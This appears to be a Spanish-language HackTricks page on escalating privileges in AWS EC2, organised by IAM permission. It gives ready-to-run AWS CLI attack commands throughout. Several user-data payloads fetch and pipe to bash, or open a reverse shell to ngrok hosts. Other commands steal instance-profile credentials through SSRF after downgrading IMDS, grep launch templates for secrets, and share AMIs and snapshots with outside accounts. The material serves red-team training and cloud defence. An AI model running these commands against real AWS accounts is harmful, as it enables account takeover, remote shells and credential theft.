AWS - EC2 Privesc
Tip
Aprende y practica Hacking en AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Hacking en Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Revisa los planes de suscripción!
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.
EC2
Para más información sobre EC2 consulta:
AWS - EC2, EBS, ELB, SSM, VPC & VPN Enum
iam:PassRole, ec2:RunInstances
Un atacante podría crear una instancia adjuntando un rol IAM y luego acceder a la instancia para robar las credenciales del rol IAM desde el endpoint de metadatos.
- Acceso vía SSH
Arranca una nueva instancia usando una creada ssh key (--key-name) y luego conéctate por SSH a ella (si quieres crear una nueva puede que necesites el permiso ec2:CreateKeyPair).
aws ec2 run-instances --image-id <img-id> --instance-type t2.micro \
--iam-instance-profile Name=<instance-profile-name> --key-name <ssh-key> \
--security-group-ids <sg-id>
- Acceso vía rev shell en user data
Puedes ejecutar una nueva instancia usando user data (--user-data) que te enviará una rev shell. No necesitas especificar security group de esta manera.
echo '#!/bin/bash
curl https://reverse-shell.sh/4.tcp.ngrok.io:17031 | bash' > /tmp/rev.sh
aws ec2 run-instances --image-id <img-id> --instance-type t2.micro \
--iam-instance-profile Name=<instance-profile-name> \
--count 1 \
--user-data "file:///tmp/rev.sh"
Ten cuidado con GuradDuty si utilizas las credenciales del IAM role fuera de la instance:
Impacto potencial: Privesc directo a cualquier EC2 role adjunto a instance profiles existentes.
Privesc a ECS
Con este conjunto de permisos también podrías crear una EC2 instance y registrarla dentro de un ECS cluster. De este modo, los ECS services se ejecutarán dentro de la EC2 instance a la que tengas acceso y entonces podrás comprometer esos servicios (docker containers) y robar los ECS roles adjuntos.
aws ec2 run-instances \
--image-id ami-07fde2ae86109a2af \
--instance-type t2.micro \
--iam-instance-profile <ECS_role> \
--count 1 --key-name pwned \
--user-data "file:///tmp/asd.sh"
# Make sure to use an ECS optimized AMI as it has everything installed for ECS already (amzn2-ami-ecs-hvm-2.0.20210520-x86_64-ebs)
# The EC2 instance profile needs basic ECS access
# The content of the user data is:
#!/bin/bash
echo ECS_CLUSTER=<cluster-name> >> /etc/ecs/ecs.config;echo ECS_BACKEND_HOST= >> /etc/ecs/ecs.config;
Para saber cómo forzar que los servicios de ECS se ejecuten en esta nueva instancia EC2 revisa:
Si no puedes crear una nueva instancia pero tienes el permiso ecs:RegisterContainerInstance, podrías registrar la instancia dentro del cluster y llevar a cabo el ataque comentado.
Potential Impact: privesc directo a ECS roles adjuntos a tasks.
iam:PassRole, iam:AddRoleToInstanceProfile
Al igual que en el escenario anterior, un atacante con estos permisos podría cambiar el IAM role de una instancia comprometida para poder robar nuevas credenciales.
Dado que un instance profile solo puede tener 1 role, si el instance profile ya tiene un role (caso común), también necesitarás iam:RemoveRoleFromInstanceProfile.
# Removing role from instance profile
aws iam remove-role-from-instance-profile --instance-profile-name <name> --role-name <name>
# Add role to instance profile
aws iam add-role-to-instance-profile --instance-profile-name <name> --role-name <name>
Si el instance profile tiene un role y el atacante no puede eliminarlo, hay otra solución alternativa. Podría encontrar un instance profile sin role o crear uno nuevo (iam:CreateInstanceProfile), añadir el role a ese instance profile (como se discutió anteriormente), y asociar el instance profile comprometido a una comprometida instance:
- Si la instance no tiene ningún instance profile (
ec2:AssociateIamInstanceProfile)
aws ec2 associate-iam-instance-profile --iam-instance-profile Name=<value> --instance-id <value>
Impacto potencial: privesc directo a un role de EC2 diferente (necesitas haber comprometido una AWS EC2 instance y tener permisos adicionales o un estado específico del instance profile).
iam:PassRole(( ec2:AssociateIamInstanceProfile& ec2:DisassociateIamInstanceProfile) || ec2:ReplaceIamInstanceProfileAssociation)
Con estos permisos es posible cambiar el instance profile asociado a una instancia, por lo que si el atacante ya tiene acceso a una instancia podrá robar credenciales de más roles de instance profile cambiando el asociado.
- Si tiene un instance profile, puedes eliminar el instance profile (
ec2:DisassociateIamInstanceProfile) y asociarlo
aws ec2 describe-iam-instance-profile-associations --filters Name=instance-id,Values=i-0d36d47ba15d7b4da
aws ec2 disassociate-iam-instance-profile --association-id <value>
aws ec2 associate-iam-instance-profile --iam-instance-profile Name=<value> --instance-id <value>
- o reemplazar el instance profile de la instancia comprometida (
ec2:ReplaceIamInstanceProfileAssociation).
aws ec2 replace-iam-instance-profile-association --iam-instance-profile Name=<value> --association-id <value>
Impacto potencial: Direct privesc a un EC2 role diferente (necesitas haber comprometido una instancia AWS EC2 y tener algún permiso adicional o un estado específico del instance profile).
ec2:RequestSpotInstances,iam:PassRole
Un atacante con los permisos ec2:RequestSpotInstances y iam:PassRole puede solicitar una Spot Instance con un EC2 Role attached y una rev shell en los user data.
Una vez que la instancia esté en ejecución, puede robar el IAM role.
REV=$(printf '#!/bin/bash
curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | bash
' | base64)
aws ec2 request-spot-instances \
--instance-count 1 \
--launch-specification "{\"IamInstanceProfile\":{\"Name\":\"EC2-CloudWatch-Agent-Role\"}, \"InstanceType\": \"t2.micro\", \"UserData\":\"$REV\", \"ImageId\": \"ami-0c1bc246476a5572b\"}"
ec2:ModifyInstanceAttribute
Un atacante con el permiso ec2:ModifyInstanceAttribute puede modificar los atributos de las instancias. Entre ellos, puede cambiar los datos de usuario, lo que implica que puede hacer que la instancia ejecute código arbitrario. Esto puede usarse para obtener una rev shell a la instancia EC2.
Ten en cuenta que los atributos solo pueden modificarse mientras la instancia está detenida, por lo que se requieren los permisos ec2:StopInstances y ec2:StartInstances.
TEXT='Content-Type: multipart/mixed; boundary="//"
MIME-Version: 1.0
--//
Content-Type: text/cloud-config; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: attachment; filename="cloud-config.txt"
#cloud-config
cloud_final_modules:
- [scripts-user, always]
--//
Content-Type: text/x-shellscript; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: attachment; filename="userdata.txt"
#!/bin/bash
bash -i >& /dev/tcp/2.tcp.ngrok.io/14510 0>&1
--//'
TEXT_PATH="/tmp/text.b64.txt"
printf $TEXT | base64 > "$TEXT_PATH"
aws ec2 stop-instances --instance-ids $INSTANCE_ID
aws ec2 modify-instance-attribute \
--instance-id="$INSTANCE_ID" \
--attribute userData \
--value file://$TEXT_PATH
aws ec2 start-instances --instance-ids $INSTANCE_ID
Impacto potencial: privesc directo a cualquier EC2 IAM Role adjunto a una instancia creada.
ec2:CreateLaunchTemplateVersion,ec2:CreateLaunchTemplate,ec2:ModifyLaunchTemplate
Un atacante con los permisos ec2:CreateLaunchTemplateVersion,ec2:CreateLaunchTemplateand ec2:ModifyLaunchTemplate puede crear una new Launch Template version con un rev shell in el user data y any EC2 IAM Role on it, cambiar la versión por defecto, y any Autoscaler group using esa Launch Template que esté configured para usar la latest o la default version volverá a re-run the instances usando esa plantilla y ejecutará el rev shell.
REV=$(printf '#!/bin/bash
curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | bash
' | base64)
aws ec2 create-launch-template-version \
--launch-template-name bad_template \
--launch-template-data "{\"ImageId\": \"ami-0c1bc246476a5572b\", \"InstanceType\": \"t3.micro\", \"IamInstanceProfile\": {\"Name\": \"ecsInstanceRole\"}, \"UserData\": \"$REV\"}"
aws ec2 modify-launch-template \
--launch-template-name bad_template \
--default-version 2
Impacto potencial: Direct privesc to a different EC2 role.
(autoscaling:CreateLaunchConfiguration | ec2:CreateLaunchTemplate), iam:PassRole, (autoscaling:CreateAutoScalingGroup | autoscaling:UpdateAutoScalingGroup)
Un atacante con los permisos autoscaling:CreateLaunchConfiguration,autoscaling:CreateAutoScalingGroup,iam:PassRole puede create a Launch Configuration con un IAM Role y un rev shell dentro del user data, luego create an autoscaling group a partir de esa configuración y esperar a que el rev shell steal the IAM Role.
aws --profile "$NON_PRIV_PROFILE_USER" autoscaling create-launch-configuration \
--launch-configuration-name bad_config \
--image-id ami-0c1bc246476a5572b \
--instance-type t3.micro \
--iam-instance-profile EC2-CloudWatch-Agent-Role \
--user-data "$REV"
aws --profile "$NON_PRIV_PROFILE_USER" autoscaling create-auto-scaling-group \
--auto-scaling-group-name bad_auto \
--min-size 1 --max-size 1 \
--launch-configuration-name bad_config \
--desired-capacity 1 \
--vpc-zone-identifier "subnet-e282f9b8"
Impacto potencial: Privesc directo a un rol EC2 diferente.
!autoscaling
El conjunto de permisos ec2:CreateLaunchTemplate y autoscaling:CreateAutoScalingGroup no son suficientes para escalar privilegios a un rol IAM porque para adjuntar el rol especificado en la Launch Configuration o en la Launch Template necesitas los permisos iam:PassRole y ec2:RunInstances (lo cual es un privesc conocido).
ec2-instance-connect:SendSSHPublicKey
Un atacante con el permiso ec2-instance-connect:SendSSHPublicKey puede añadir una clave ssh a un usuario y usarla para acceder (si tiene acceso ssh a la instancia) o para escalar privilegios.
aws ec2-instance-connect send-ssh-public-key \
--instance-id "$INSTANCE_ID" \
--instance-os-user "ec2-user" \
--ssh-public-key "file://$PUBK_PATH"
Impacto potencial: Privesc directo a los IAM roles de EC2 adjuntos a instancias en ejecución.
ec2-instance-connect:SendSerialConsoleSSHPublicKey
Un atacante con el permiso ec2-instance-connect:SendSerialConsoleSSHPublicKey puede añadir una ssh key a una conexión serial. Si la consola serial no está habilitada, el atacante necesita el permiso ec2:EnableSerialConsoleAccess para habilitarla.
Para conectarse al puerto serial también es necesario conocer el nombre de usuario y la contraseña de un usuario dentro de la máquina.
aws ec2 enable-serial-console-access
aws ec2-instance-connect send-serial-console-ssh-public-key \
--instance-id "$INSTANCE_ID" \
--serial-port 0 \
--region "eu-west-1" \
--ssh-public-key "file://$PUBK_PATH"
ssh -i /tmp/priv $INSTANCE_ID.port0@serial-console.ec2-instance-connect.eu-west-1.aws
Esta forma no es muy útil para privesc ya que necesitas conocer un nombre de usuario y una contraseña para explotarla.
Impacto potencial: (Altamente difícil de probar) Privesc directo a los EC2 IAM roles asociados a las instancias en ejecución.
describe-launch-templates,describe-launch-template-versions
Dado que los launch templates tienen versionado, un atacante con permisos ec2:describe-launch-templates y ec2:describe-launch-template-versions podría explotarlos para descubrir información sensible, como credenciales presentes en los user data. Para lograr esto, el siguiente script recorre todas las versiones de los launch templates disponibles:
for i in $(aws ec2 describe-launch-templates --region us-east-1 | jq -r '.LaunchTemplates[].LaunchTemplateId')
do
echo "[*] Analyzing $i"
aws ec2 describe-launch-template-versions --launch-template-id $i --region us-east-1 | jq -r '.LaunchTemplateVersions[] | "\(.VersionNumber) \(.LaunchTemplateData.UserData)"' | while read version userdata
do
echo "VersionNumber: $version"
echo "$userdata" | base64 -d
echo
done | grep -iE "aws_|password|token|api"
done
En los comandos anteriores, aunque estamos especificando ciertos patrones (aws_|password|token|api), puedes usar una regex diferente para buscar otros tipos de información sensible.
Suponiendo que encontremos aws_access_key_id y aws_secret_access_key, podemos usar estas credenciales para autenticarnos en AWS.
Impacto potencial: Escalada de privilegios directa a usuario(s) IAM.
Referencias
ec2:ModifyInstanceMetadataOptions (IMDS downgrade to enable SSRF credential theft)
Un atacante con la capacidad de invocar ec2:ModifyInstanceMetadataOptions en una instancia EC2 víctima puede debilitar las protecciones de IMDS habilitando IMDSv1 (HttpTokens=optional) y aumentando el HttpPutResponseHopLimit. Esto hace que el endpoint de metadata de la instancia sea alcanzable a través de rutas comunes de SSRF/proxy desde aplicaciones que se ejecutan en la instancia. Si el atacante puede desencadenar un SSRF en dicha aplicación, puede recuperar las credenciales del instance profile y pivotar con ellas.
- Permisos requeridos:
ec2:ModifyInstanceMetadataOptionsen la instancia objetivo (más la capacidad de alcanzar/desencadenar un SSRF en el host). - Recurso objetivo: La instancia EC2 en ejecución con un instance profile adjunto (IAM role).
Ejemplo de comandos:
# 1) Check current metadata settings
aws ec2 describe-instances --instance-id <INSTANCE_ID> \
--query 'Reservations[0].Instances[0].MetadataOptions'
# 2) Downgrade IMDS protections (enable IMDSv1 and raise hop limit)
aws ec2 modify-instance-metadata-options --instance-id <INSTANCE_ID> \
--http-endpoint enabled --http-tokens optional \
--http-put-response-hop-limit 3 --instance-metadata-tags enabled
# 3) Through the SSRF, enumerate role name
curl "http://<VICTIM_PUBLIC_IP>:<APP_PORT>/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/"
# 4) Through the SSRF, steal the temporary credentials
curl "http://<VICTIM_PUBLIC_IP>:<APP_PORT>/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/<ROLE_NAME>"
# 5) Use the stolen credentials
export AWS_ACCESS_KEY_ID=<AccessKeyId>
export AWS_SECRET_ACCESS_KEY=<SecretAccessKey>
export AWS_SESSION_TOKEN=<Token>
aws sts get-caller-identity
# 6) Restore protections (require IMDSv2, low hop limit)
aws ec2 modify-instance-metadata-options --instance-id <INSTANCE_ID> \
--http-tokens required --http-put-response-hop-limit 1
Impacto potencial: Robo de credenciales del perfil de instancia mediante SSRF, lo que puede llevar a escalado de privilegios y movimiento lateral con los permisos del rol de EC2.
ec2:ModifyInstanceMetadataOptions
Un atacante que tenga el permiso ec2:ModifyInstanceMetadataOptions puede debilitar las protecciones del Instance Metadata Service (IMDS): por ejemplo, forzando IMDSv1 (haciendo que HttpTokens no sean obligatorios) o incrementando HttpPutResponseHopLimit, lo que facilita la exfiltración de credenciales temporales. El vector de riesgo más relevante es aumentar HttpPutResponseHopLimit: al incrementar ese límite de saltos (TTL), el endpoint 169.254.169.254 deja de estar estrictamente limitado al espacio de nombres de red de la VM y puede volverse accesible desde otros procesos/contenedores, permitiendo el robo de credenciales.
aws ec2 modify-instance-metadata-options \
--instance-id <INSTANCE_ID> \
--http-tokens optional \
--http-endpoint enabled \
--http-put-response-hop-limit 2
ec2:ModifyImageAttribute, ec2:ModifySnapshotAttribute
Un atacante con los permisos ec2:ModifyImageAttribute y ec2:ModifySnapshotAttribute puede compartir AMIs o snapshots con otras cuentas de AWS (o incluso hacerlos públicos), exponiendo imágenes o volúmenes que pueden contener datos sensibles como configuraciones, credenciales, certificados o copias de seguridad. Al modificar los launch permissions de un AMI o los create-volume permissions de un snapshot, el atacante permite a terceros lanzar instancias o montar discos desde esos recursos y acceder a su contenido.
To share an AMI with another account:
aws ec2 modify-image-attribute --image-id <image_ID> --launch-permission "Add=[{UserId=<recipient_account_ID>}]" --region <AWS_region>
Para compartir un EBS snapshot con otra cuenta:
aws ec2 modify-snapshot-attribute --snapshot-id <snapshot_ID> --create-volume-permission "Add=[{UserId=<recipient_account_ID>}]" --region <AWS_region>
Tip
Aprende y practica Hacking en AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Hacking en Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Revisa los planes de suscripción!
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.
HackTricks Cloud

